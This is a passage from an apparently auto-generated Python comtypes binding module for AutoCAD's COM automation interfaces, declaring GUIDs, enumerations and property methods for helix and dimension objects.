_set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return obliAngle\n## def _set(self, obliAngle):\n## '-no docstring-'\n## ObliqueAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rotAngle\n## def _set(self, rotAngle):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scalFactor\n## def _set(self, scalFactor):\n## '-no docstring-'\n## ScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Name\n## def _set(self, Name):\n## '-no docstring-'\n## StyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrTag\n## def _set(self, bstrTag):\n## '-no docstring-'\n## TagString = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return alignPoint\n## def _set(self, alignPoint):\n## '-no docstring-'\n## TextAlignmentPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return textGenFlag\n## def _set(self, textGenFlag):\n## '-no docstring-'\n## TextGenerationFlag = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrText\n## def _set(self, bstrText):\n## '-no docstring-'\n## TextString = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Thickness\n## def _set(self, Thickness):\n## '-no docstring-'\n## Thickness = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return vertiAlign\n## def _set(self, vertiAlign):\n## '-no docstring-'\n## VerticalAlignment = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fieldLen\n## def _set(self, fieldLen):\n## '-no docstring-'\n## FieldLength = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return align\n## def _set(self, align):\n## '-no docstring-'\n## Alignment = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bUpsideDown\n## def _set(self, bUpsideDown):\n## '-no docstring-'\n## UpsideDown = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bBackward\n## def _set(self, bBackward):\n## '-no docstring-'\n## Backward = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInvisible\n## def _set(self, bInvisible):\n## '-no docstring-'\n## Invisible = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Constant(self):\n## '-no docstring-'\n## #return bConstant\n##\n## @property\n## def LockPosition(self):\n## '-no docstring-'\n## #return bLockPosition\n##\n## def _get(self):\n## '-no docstring-'\n## #return bMTextAttribute\n## def _set(self, bMTextAttribute):\n## '-no docstring-'\n## MTextAttribute = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return content\n## def _set(self, content):\n## '-no docstring-'\n## MTextAttributeContent = property(_get, _set, doc = _set.__doc__)\n##\n## def UpdateMTextAttribute(self):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return boundaryWidth\n## def _set(self, boundaryWidth):\n## '-no docstring-'\n## MTextBoundaryWidth = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return drawDir\n## def _set(self, drawDir):\n## '-no docstring-'\n## MTextDrawingDirection = property(_get, _set, doc = _set.__doc__)\n##\n\nclass IAcadHelix(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{84AC53FF-E874-43E5-B1FD-1CF570E74ABA}')\n _idlflags_ = ['dual', 'oleautomation']\n\n# values for enumeration 'AcHelixConstrainType'\nacTurnHeight = 0\nacTurns = 1\nacHeight = 2\nAcHelixConstrainType = c_int # enum\n\n# values for enumeration 'AcHelixTwistType'\nacCCW = 0\nacCW = 1\nAcHelixTwistType = c_int # enum\nIAcadHelix._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Position',\n ( ['out', 'retval'], POINTER(VARIANT), 'StartPoint' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Position',\n ( ['in'], VARIANT, 'StartPoint' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Constrain',\n ( ['out', 'retval'], POINTER(AcHelixConstrainType), 'constrainType' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Constrain',\n ( ['in'], AcHelixConstrainType, 'constrainType' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Length' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Length' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Turns',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'Turns' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Turns',\n ( ['in'], ACAD_NOUNITS, 'Turns' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'TurnHeight',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'TurnHeight',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'BaseRadius',\n ( ['out', 'retval'], POINTER(c_double), 'Radius' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'BaseRadius',\n ( ['in'], c_double, 'Radius' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'TopRadius',\n ( ['out', 'retval'], POINTER(c_double), 'Radius' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'TopRadius',\n ( ['in'], c_double, 'Radius' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'Twist',\n ( ['out', 'retval'], POINTER(AcHelixTwistType), 'twistType' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'Twist',\n ( ['in'], AcHelixTwistType, 'twistType' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'TurnSlope',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'slopeAngle' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'TotalLength',\n ( ['out', 'retval'], POINTER(c_double), 'TotalLength' )),\n]\n################################################################\n## code template for IAcadHelix implementation\n##class IAcadHelix_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return StartPoint\n## def _set(self, StartPoint):\n## '-no docstring-'\n## Position = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return constrainType\n## def _set(self, constrainType):\n## '-no docstring-'\n## Constrain = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Length\n## def _set(self, Length):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Turns\n## def _set(self, Turns):\n## '-no docstring-'\n## Turns = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## TurnHeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Radius\n## def _set(self, Radius):\n## '-no docstring-'\n## BaseRadius = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Radius\n## def _set(self, Radius):\n## '-no docstring-'\n## TopRadius = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return twistType\n## def _set(self, twistType):\n## '-no docstring-'\n## Twist = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def TurnSlope(self):\n## '-no docstring-'\n## #return slopeAngle\n##\n## @property\n## def TotalLength(self):\n## '-no docstring-'\n## #return TotalLength\n##\n\nclass AcadDimAngular(CoClass):\n _reg_clsid_ = GUID('{82B477F1-E82B-4359-A22A-4A7A61BE9B13}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadDimAngular._com_interfaces_ = [IAcadDimAngular]\nAcadDimAngular._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcLeaderType'\nacLineNoArrow = 0\nacSplineNoArrow = 1\nacLineWithArrow = 2\nacSplineWithArrow = 3\nAcLeaderType = c_int # enum\n\n# values for enumeration 'AcAttributeMode'\nacAttributeModeNormal = 0\nacAttributeModeInvisible = 1\nacAttributeModeConstant = 2\nacAttributeModeVerify = 4\nacAttributeModePreset = 8\nacAttributeModeLockPosition = 16\nacAttributeModeMultipleLine = 32\nAcAttributeMode = c_int # enum\nclass AcadDimDiametric(CoClass):\n _reg_clsid_ = GUID('{3DDD61F5-BC51-4D70-8967-45D30E361DCB}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadDimDiametric(IAcadDimension):\n _case_insensitive_ = True\n _iid_ = GUID('{3C2370AE-2726-439E-A7DF-B105A873C4C5}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadDimDiametric._com_interfaces_ = [IAcadDimDiametric]\nAcadDimDiametric._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'Ac3DPolylineType'\nacSimple3DPoly = 0\nacQuadSpline3DPoly = 1\nacCubicSpline3DPoly = 2\nAc3DPolylineType = c_int # enum\nclass AcadDimOrdinate(CoClass):\n _reg_clsid_ = GUID('{394031EA-6D74-45F5-ABF1-81905B6D94A8}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadDimOrdinate(IAcadDimension):\n _case_insensitive_ = True\n _iid_ = GUID('{D17152C0-5E08-4B20-B4D0-FF31128B7DD5}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadDimOrdinate._com_interfaces_ = [IAcadDimOrdinate]\nAcadDimOrdinate._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadDimRadial(CoClass):\n _reg_clsid_ = GUID('{40118472-DA0A-4927-903A-F4BCBAD454A0}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadDimRadial(IAcadDimension):\n _case_insensitive_ = True\n _iid_ = GUID('{F7091A11-4900-460D-84F4-C237B430FCA3}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadDimRadial._com_interfaces_ = [IAcadDimRadial]\nAcadDimRadial._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadDimRotated(CoClass):\n _reg_clsid_ = GUID('{3DC84993-E894-4272-B377-52A01EEB7FC5}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadDimRotated(IAcadDimension):\n _case_insensitive_ = True\n _iid_ = GUID('{5A1F1FF1-ABCE-4D0B-BED3-CE92C1C375B9}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadDimRotated._com_interfaces_ = [IAcadDimRotated]\nAcadDimRotated._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcShadowDisplayType'\nacCastsAndReceivesShadows = 0\nacCastsShadows = 1\nacReceivesShadows = 2\nacIgnoreShadows = 3\nAcShadowDisplayType = c_int # enum\nclass AcadDim3PointAngular(CoClass):\n _reg_clsid_ = GUID('{D8374A04-9DD9-4912-843D-D5C2E23BC477}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadDim3PointAngular._com_interfaces_ = [IAcadDim3PointAngular]\nAcadDim3PointAngular._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadDimArcLength(CoClass):\n _reg_clsid_ = GUID('{89939DBF-8C75-4CDF-B00D-3FFC27DC7911}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadDimArcLength(IAcadDimension):\n _case_insensitive_ = True\n _iid_ = GUID('{A65DE775-8DAE-4D2D-AFF2-73E5F7EF3BC8}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadDimArcLength._com_interfaces_ = [IAcadDimArcLength]\nAcadDimArcLength._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadDimRadialLarge(CoClass):\n _reg_clsid_ = GUID('{254A0B97-1A90-4C56-B095-CC9B7C24B8B8}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadDimRadialLarge(IAcadDimension):\n _case_insensitive_ = True\n _iid_ = GUID('{9DE62AD0-6CC6-4E96-90C6-D0A0564933FD}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadDimRadialLarge._com_interfaces_ = [IAcadDimRadialLarge]\nAcadDimRadialLarge._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadBlock(CoClass):\n _reg_clsid_ = GUID('{95CC3A4D-8E7B-4F13-A899-FA1FB2F6A0E1}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadBlock(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{F894BBF4-64B0-444E-B17F-EE8AEACB6A7B}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadBlock._com_interfaces_ = [IAcadBlock]\nAcadBlock._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadModelSpace(CoClass):\n _reg_clsid_ = GUID('{FE616360-1748-440F-B143-98D7E2E928F6}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadModelSpace(IAcadBlock):\n _case_insensitive_ = True\n _iid_ = GUID('{1BD75629-E597-4154-83E8-E7DD2CEBDD08}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadModelSpace._com_interfaces_ = [IAcadModelSpace]\nAcadModelSpace._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadPaperSpace(CoClass):\n _reg_clsid_ = GUID('{08D5B2B1-BBC3-45BE-80ED-528B9B98238F}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadPaperSpace(IAcadBlock):\n _case_insensitive_ = True\n _iid_ = GUID('{80F60F17-54D4-4F17-A659-80979C411D63}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadPaperSpace._com_interfaces_ = [IAcadPaperSpace]\nAcadPaperSpace._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcTextGenerationFlag'\nacTextFlagBackward = 2\nacTextFlagUpsideDown = 4\nAcTextGenerationFlag = c_int # enum\n\n# values for enumeration 'AcSectionType'\nacSectionTypeLiveSection = 1\nacSectionType2dSection = 2\nacSectionType3dSection = 4\nAcSectionType = c_int # enum\n\n# values for enumeration 'AcSectionGeneration'\nacSectionGenerationSourceAllObjects = 1\nacSectionGenerationSourceSelectedObjects = 2\nacSectionGenerationDestinationNewBlock = 16\nacSectionGenerationDestinationReplaceBlock = 32\nacSectionGenerationDestinationFile = 64\nAcSectionGeneration = c_int # enum\n\n# values for enumeration 'AcDimUnits'\nacDimScientific = 1\nacDimDecimal = 2\nacDimEngineering = 3\nacDimArchitecturalStacked = 4\nacDimFractionalStacked = 5\nacDimArchitectural = 6\nacDimFractional = 7\nacDimWindowsDesktop = 8\nAcDimUnits = c_int # enum\n\n# values for enumeration 'AcDimFractionType'\nacHorizontal = 0\nacDiagonal = 1\nacNotStacked = 2\nAcDimFractionType = c_int # enum\n\n# values for enumeration 'AcDimLUnits'\nacDimLScientific = 1\nacDimLDecimal = 2\nacDimLEngineering = 3\nacDimLArchitectural = 4\nacDimLFractional = 5\nacDimLWindowsDesktop = 6\nAcDimLUnits = c_int # enum\nIAcadDimRotated._methods_ = [\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'AltUnits',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bAlternate' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'AltUnits',\n ( ['in'], VARIANT_BOOL, 'bAlternate' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'AltUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'precision' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'AltUnitsPrecision',\n ( ['in'], AcDimPrecision, 'precision' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'AltUnitsScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'scale' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'AltUnitsScale',\n ( ['in'], ACAD_NOUNITS, 'scale' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'AltRoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'AltRoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'AltTolerancePrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Distance' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'AltTolerancePrecision',\n ( ['in'], AcDimPrecision, 'Distance' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'AltUnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimUnits), 'Units' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'AltUnitsFormat',\n ( ['in'], AcDimUnits, 'Units' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'AltTextPrefix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'AltTextPrefix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'AltTextSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'AltTextSuffix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'DimensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'DimensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'ExtensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'ExtensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Prec' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['in'], AcDimPrecision, 'Prec' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'DimensionLineExtend',\n ( ['out', 'retval'], POINTER(c_double), 'extend' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'DimensionLineExtend',\n ( ['in'], c_double, 'extend' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'ExtensionLineExtend',\n ( ['out', 'retval'], POINTER(c_double), 'extend' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'ExtensionLineExtend',\n ( ['in'], c_double, 'extend' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'Fit',\n ( ['out', 'retval'], POINTER(AcDimFit), 'fittype' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'Fit',\n ( ['in'], AcDimFit, 'fittype' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'FractionFormat',\n ( ['out', 'retval'], POINTER(AcDimFractionType), 'Type' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'FractionFormat',\n ( ['in'], AcDimFractionType, 'Type' )),\n COMMETHOD([dispid(20), 'propget'], HRESULT, 'HorizontalTextPosition',\n ( ['out', 'retval'], POINTER(AcDimHorizontalJustification), 'Type' )),\n COMMETHOD([dispid(20), 'propput'], HRESULT, 'HorizontalTextPosition',\n ( ['in'], AcDimHorizontalJustification, 'Type' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'LinearScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'Type' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'LinearScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'Type' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'UnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimLUnits), 'format' )),\n COMMETHOD([dispid(22), 'propput'], HRESULT, 'UnitsFormat',\n ( ['in'], AcDimLUnits, 'format' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'ExtensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'lweight' )),\n COMMETHOD([dispid(23), 'propput'], HRESULT, 'ExtensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'lweight' )),\n COMMETHOD([dispid(24), 'propget'], HRESULT, 'RoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(24), 'propput'], HRESULT, 'RoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'DimLine1Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(25), 'propput'], HRESULT, 'DimLine1Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'DimLine2Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'DimLine2Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(27), 'propget'], HRESULT, 'ExtLine1Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(27), 'propput'], HRESULT, 'ExtLine1Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(28), 'propget'], HRESULT, 'ExtLine2Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(28), 'propput'], HRESULT, 'ExtLine2Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(29), 'propget'], HRESULT, 'DimLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(29), 'propput'], HRESULT, 'DimLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'TextInsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'TextInsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(31), 'propget'], HRESULT, 'TextInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(31), 'propput'], HRESULT, 'TextInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(32), 'propget'], HRESULT, 'ForceLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(32), 'propput'], HRESULT, 'ForceLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(33), 'propget'], HRESULT, 'TextOutsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(33), 'propput'], HRESULT, 'TextOutsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(35), 'propget'], HRESULT, 'ExtensionLineOffset',\n ( ['out', 'retval'], POINTER(c_double), 'Offset' )),\n COMMETHOD([dispid(35), 'propput'], HRESULT, 'ExtensionLineOffset',\n ( ['in'], c_double, 'Offset' )),\n COMMETHOD([dispid(48), 'propget'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(48), 'propput'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(49), 'propget'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(49), 'propput'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(50), 'propget'], HRESULT, 'AltSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(50), 'propput'], HRESULT, 'AltSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(51), 'propget'], HRESULT, 'AltSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(51), 'propput'], HRESULT, 'AltSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(52), 'propget'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(52), 'propput'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(53), 'propget'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(53), 'propput'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(54), 'propget'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(54), 'propput'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(55), 'propget'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(55), 'propput'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(56), 'propget'], HRESULT, 'SuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(56), 'propput'], HRESULT, 'SuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(57), 'propget'], HRESULT, 'SuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(57), 'propput'], HRESULT, 'SuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(58), 'propget'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(58), 'propput'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(59), 'propget'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(59), 'propput'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(60), 'propget'], HRESULT, 'DimensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'weight' )),\n COMMETHOD([dispid(60), 'propput'], HRESULT, 'DimensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'weight' )),\n COMMETHOD([dispid(61), 'propget'], HRESULT, 'ArrowheadSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(61), 'propput'], HRESULT, 'ArrowheadSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(62), 'propget'], HRESULT, 'Arrowhead1Type',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(62), 'propput'], HRESULT, 'Arrowhead1Type',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(63), 'propget'], HRESULT, 'Arrowhead2Type',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' 